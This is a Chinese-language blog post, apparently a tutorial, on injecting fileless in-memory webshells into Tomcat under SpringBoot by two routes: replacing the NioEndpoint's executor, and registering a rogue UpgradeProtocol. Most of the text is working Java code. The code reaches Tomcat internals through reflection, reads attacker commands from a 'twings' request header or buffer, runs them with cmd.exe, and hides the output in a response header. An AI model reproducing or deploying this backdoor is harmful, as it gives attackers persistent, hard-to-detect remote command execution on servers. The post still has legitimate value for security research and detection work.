前言
无。
环境搭建
跟上一篇一样,还是SpringBoot。
Executor内存马
跟filter shell类似的实现方式,用于接受HTTP请求的NioEndpoint对象会调用其父类的processSocket函数,其关键代码如下:
1 2 3 4 5 6
| Executor executor = getExecutor(); if (dispatch && executor != null) { executor.execute(sc); } else { sc.run(); }
|
而getExecutor函数直接从本对象中取出executor:
1 2 3
| public Executor getExecutor() { return executor; }
|
我们可以通过将这个executor替换为我们自己实现的子类的方式注入shell,也不会影响正常使用。
首先要想办法从Thread中找到这个NioEndpoint,调试发现Thread.currentThread()拿到的不是放有NioEndpoint对象的线程,那就先把所有线程拿出来:
1 2 3
| Field f = ThreadGroup.class.getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[])f.get(Thread.currentThread().getThreadGroup());
|
调试可以得到NioEndpoint所属线程名为http-nio-8080-Poller:

然后反射几次拿到NioEndpoint:
1 2 3 4 5 6 7 8 9 10 11 12
| NioEndpoint nioEndpoint = null; for (Thread thread: threads) { if (thread.getName().contains("http") && thread.getName().contains("Poller")) { f = Thread.class.getDeclaredField("target"); f.setAccessible(true); Object pollor = f.get(thread); f = pollor.getClass().getDeclaredField("this$0"); f.setAccessible(true); nioEndpoint = (NioEndpoint)f.get(pollor); break; } }
|
先写一个简单的自定义Executor:
1 2 3 4 5 6 7 8 9 10
| class ShellExecutor extends ThreadPoolExecutor { public ShellExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) { super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler); }
@Override public void execute(Runnable command) { super.execute(command); } }
|
再将我们的Executor设置进去:
1 2 3 4 5 6 7 8 9 10
| if (nioEndpoint == null) { return; } ThreadPoolExecutor executor = (ThreadPoolExecutor)nioEndpoint.getExecutor(); if (executor instanceof ShellExecutor) { return; } nioEndpoint.setExecutor(new ShellExecutor(executor.getCorePoolSize(), executor.getMaximumPoolSize(), executor.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, executor.getQueue(), executor.getThreadFactory(), executor.getRejectedExecutionHandler()));
|
调试一下看到流程没有问题,我们的executor也能正常触发,接下来开始编写Executor中的命令接收、命令执行和结果回显部分,根据参考文章,我们可以从NioEndpoint-nioChannels-appReadBufHandler-Buffer里面找到request数据:

比较奇怪的一点是nioChannels里的数据并不稳定,不一定会存在我们需要的NioChannels,我们需要再找找有没有其他地方还保存有request数据。通过调试可以看到execute的参数command对象中可以通过socketWrapper-socket-appReadBufHandler的方式找到我们需要的数据:

截一下字符串然后命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Field f = command.getClass().getSuperclass().getDeclaredField("socketWrapper"); f.setAccessible(true); SocketWrapperBase<?> socketWrapper = (SocketWrapperBase<?>)f.get(command); NioChannel socket = (NioChannel)socketWrapper.getSocket(); f = NioChannel.class.getDeclaredField("appReadBufHandler"); f.setAccessible(true); Http11InputBuffer appReadBufHandler = (Http11InputBuffer)f.get(socket); String request = new String(appReadBufHandler.getByteBuffer().array(), StandardCharsets.UTF_8); if (request.contains("twings:")) { String c = request.substring(request.indexOf("twings:") + "twings:".length(), request.indexOf("\r", request.indexOf("twings:")) - 1); String[] cmd = new String[]{"cmd.exe", "/c", c}; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); System.out.println(new String(result)); }
|
最后就是把执行结果打印出来,根据参考文章我们可以根据request和response的嵌套关系,找到response然后将结果放到响应头中。我们找一找request,可以在command-socketWrapper-endpoint-handler-global-processors-req找到:

继续反射把它拿出来:
1 2 3 4 5 6 7 8 9 10 11 12 13
| f = socketWrapper.getClass().getSuperclass().getDeclaredField("endpoint"); f.setAccessible(true); NioEndpoint nioEndpoint = (NioEndpoint)f.get(socketWrapper); RequestGroupInfo requestGroupInfo = (RequestGroupInfo)nioEndpoint.getHandler().getGlobal(); f = RequestGroupInfo.class.getDeclaredField("processors"); f.setAccessible(true); List<?> processors = (List<?>)f.get(requestGroupInfo); RequestInfo requestInfo = (RequestInfo)processors.get(0); f = RequestInfo.class.getDeclaredField("req"); f.setAccessible(true); Request request = (Request)f.get(requestInfo); Response response = request.getResponse(); response.addHeader("Res", new String(result, StandardCharsets.UTF_8));
|
最后结果:

Processor内存马
根据参考文章,找到Http11Processor类的service函数,当请求存在connection和Upgrade请求头时会做相应处理:
1 2 3 4 5 6 7 8 9 10 11
| if (isConnectionToken(request.getMimeHeaders(), "upgrade")) { String requestedProtocol = request.getHeader("Upgrade");
UpgradeProtocol upgradeProtocol = protocol.getUpgradeProtocol(requestedProtocol); if (upgradeProtocol != null) { if (upgradeProtocol.accept(request)) { ... } } }
|
根据Upgrade请求头获取对应的UpgradeProtocol,并调用其accept函数。先看看这个isConnectionToken函数要怎么满足:
1 2 3 4 5 6 7 8 9 10
| private static boolean isConnectionToken(MimeHeaders headers, String token) throws IOException { MessageBytes connection = headers.getValue(Constants.CONNECTION); if (connection == null) { return false; }
Set<String> tokens = new HashSet<>(); TokenList.parseTokenList(headers.values(Constants.CONNECTION), tokens); return tokens.contains(token); }
|
调试可知只要connection请求头的值为upgrade就可以,再看看这个getUpgradeProtocol函数是怎么找UpgradeProtocol的,这里的protocol是一个Http11NioProtocol对象,其父类AbstractHttp11Protocol的getUpgradeProtocol函数如下:
1 2 3 4
| @Override public UpgradeProtocol getUpgradeProtocol(String upgradedName) { return httpUpgradeProtocols.get(upgradedName); }
|
httpUpgradeProtocols是一个HashMap,简单来说就是根据Upgrade请求头的值从这个HashMap中找到对应的UpgradeProtocol。所以只要我们能像添加filter shell一样向这里添加一个自定义UpgradeProtocol就能完成内存马,AbstractHttp11Protocol里面没有合适的可以直接调用的向里面put东西的函数,所以我们还是得借助反射。
老样子,先看看怎么找到这个Http11NioProtocol对象,我们翻翻Thread.currentThread()看看,调试调用栈,可以看到NioEndpoint里面能找到这个对象:

找到它然后添加一个自定义ShellProcessor进去:
1 2 3 4 5 6 7 8 9 10 11
| AbstractEndpoint.Handler<?> handler = nioEndpoint.getHandler(); f = handler.getClass().getDeclaredField("proto"); f.setAccessible(true); Http11NioProtocol http11NioProtocol = (Http11NioProtocol)f.get(handler); f = Http11NioProtocol.class.getSuperclass().getSuperclass().getDeclaredField("httpUpgradeProtocols"); f.setAccessible(true); HashMap<String, ShellProcessor> httpUpgradeProtocols = (HashMap<String, ShellProcessor>)f.get(http11NioProtocol); if (httpUpgradeProtocols.containsKey("twings")) { return; } httpUpgradeProtocols.put("twings", new ShellProcessor());
|
由于accept函数自带一个request参数,所以取命令就很简单了:
1 2 3 4 5 6 7 8 9 10 11 12
| @Override public boolean accept(Request request) { try { String[] cmd = new String[]{"cmd.exe", "/c", request.getHeader("Twings")}; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); Response response = request.getResponse(); response.addHeader("Res", new String(result, StandardCharsets.UTF_8)); }catch (Exception e) { } return false; }
|
结果看起来也没什么问题:

参考
Executor内存马
Processor内存马